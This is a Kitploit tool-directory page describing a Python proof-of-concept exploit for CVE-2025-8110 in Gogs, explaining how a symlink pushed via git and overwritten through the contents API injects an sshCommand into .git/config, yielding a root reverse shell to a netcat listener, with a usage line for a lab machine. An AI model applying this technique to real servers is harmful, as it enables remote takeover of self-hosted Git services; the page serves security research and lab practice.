Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-8110 — Python-PoC-Exploit für CVE-2025-8110, das einen Schreibvorgang beliebiger Dateien zu RCE in Gogs durch Symlink-Manipulation und API-Missbrauch demonstriert. Entwickelt für Bildungszwecke in der Sicherheitsforschung und autorisierte Laborumgebungen. | Kitploit
Tools/GitHubGitHub/xdezen/cve-2025-8110
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubxdezen/cve-2025-8110

CVE-2025-8110

Python-PoC-Exploit für CVE-2025-8110, das einen Schreibvorgang beliebiger Dateien zu RCE in Gogs durch Symlink-Manipulation und API-Missbrauch demonstriert. Entwickelt für Bildungszwecke in der Sicherheitsforschung und autorisierte Laborumgebungen.

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Gogs Beliebiger Dateischreibvorgang zu RCE (CVE-2025-8110) - Exploit zu Bildungszwecken

Dieses Repository enthält ein Python-Skript zum Proof of Concept (PoC), um die als CVE-2025-8110 registrierte Schwachstelle im selbst gehosteten Git-Dienst Gogs (Versionen 0.13.3 und früher) zu demonstrieren und zu analysieren.


⚠️ Haftungsausschluss (Disclaimer)

[!WARNING] DIESE SOFTWARE WIRD AUSSCHLIESSLICH ZU BILDUNGS- UND SICHERHEITSFORSCHUNGSZWECKEN BEREITGESTELLT. Die Verwendung dieses Materials gegen Ziele ohne vorherige schriftliche Zustimmung der Eigentümer ist völlig illegal. Der Autor dieses Repositorys übernimmt keine Haftung für Schäden, Verluste oder Missbrauch, die aus der Verwendung dieses Codes entstehen. Verwenden Sie ihn stets auf eigenes Risiko und nur in kontrollierten Umgebungen oder autorisierten Simulationen (wie CTF-Laboren).


Was ist CVE-2025-8110?

CVE-2025-8110 ist eine kritische Schwachstelle für Beliebigen Dateischreibzugriff, die durch unzureichende Validierung bei der Verarbeitung von symbolischen Links (symlinks) über die Gogs PutContents-API verursacht wird.

Auswirkungsmechanismus

Ein authentifizierter Angreifer kann:

  1. Erstellen eines lokalen Git-Repositorys, das einen symbolischen Link enthält, der auf eine sensible Datei außerhalb des Repository-Ordners verweist (z. B. die eigene Konfigurationsdatei .git/config des Servers).
  2. Hochladen (Pushen) dieses Repositorys auf den Gogs-Server.
  3. Verwenden der Gogs-API zum Ändern der Datei des symbolischen Links. Da die API nicht prüft, ob das Ziel ein Link ist, folgt das zugrunde liegende Betriebssystem dem Link und überschreibt Systemdateien mit den Berechtigungen, unter denen Gogs ausgeführt wird.
  4. Wenn der Gogs-Dienst als root läuft, kann der Dateischreibzugriff zu Remote-Code-Ausführung (RCE) eskaliert werden, indem der gewünschte Befehl in die sshCommand-Eigenschaft der Git-Konfigurationsdatei injiziert wird.

Erklärung des Codes (exploit.py)

Das Skript automatisiert den gesamten Exploit-Prozess unter Verwendung gültiger Anmeldeinformationen und eines zuvor manuell in der Gogs-Weboberfläche generierten API-Tokens:

root@kitploit:~
          ┌──────────────────────────────────────────────┐
          │          Máquina del Atacante (Kali)         │
          └──────────────────────┬───────────────────────┘
                                 │
         (1) Crea Repositorio    │ (3) Sube Symlink (.git/config)
         Malicioso vía API       │     vía git push
                                 ▼
          ┌──────────────────────────────────────────────┐
          │      Túnel SSH Local (puerto 8080)           │
          └──────────────────────┬───────────────────────┘
                                 │
                                 ▼
          ┌──────────────────────────────────────────────┐
          │           Servidor Víctima Gogs              │
          │              (Puerto 3001)                   │
          └──────────────────────┬───────────────────────┘
                                 │
                                 │ (4) API PUT "contents"
                                 │     Sigue Symlink y escribe
                                 │     "sshCommand" en .git/config
                                 ▼
          ┌──────────────────────────────────────────────┐
          │     Ejecución del Payload como ROOT          │
          └──────────────────────────────────────────────┘

Hauptkomponenten des Skripts:

  1. create_malicious_repo: Führt eine POST-Anfrage an die Gogs-API (/api/v1/user/repos) unter Verwendung des bereitgestellten Zugriffstokens aus, um ein neues Repository mit einem dynamisch generierten zufälligen Namen zu erstellen.
  2. upload_malicious_symlink:
    • Klont das neu erstellte Repository in den lokalen temporären Ordner /tmp/.
    • Erstellt lokal auf der Angreifermaschine einen symbolischen Link, der auf .git/config (die Git-Konfigurationsdatei des Servers) verweist.
    • Führt einen Commit durch und sendet die Änderungen über einen Systembefehl (git push) zurück an den Server.
  3. exploit: Definiert die Nutzlast (Payload) mithilfe eines Injektionstricks in die sshCommand-Eigenschaft von Git. Beim Aktualisieren des Inhalts über die API wird Gogs gezwungen, seine eigene .git/config-Datei auf dem Server zu überschreiben. Wenn der letzte Teil des Git-Prozesses ausgelöst wird, führt das Gogs-System den Terminalbefehl (eine Reverse Shell in Bash) aus und sendet die Verbindung zurück zu Ihrem Netcat-Listener.

Anleitung zur Nutzung in Laboren (HTB - Silentium)

Voraussetzungen

Stellen Sie sicher, dass Sie die globalen Identitätsdaten in Git konfigurieren, bevor Sie das Skript ausführen, um Fehler beim automatischen Commit zu vermeiden:

root@kitploit:~
git config --global user.email "[email protected]"
git config --global user.name "estudiante"

Verwendung: python3 exploit.py -u (http://127.0.0.1:8080) -lh <IHRE_VPN_IP> -lp 4446

Tool herunterladen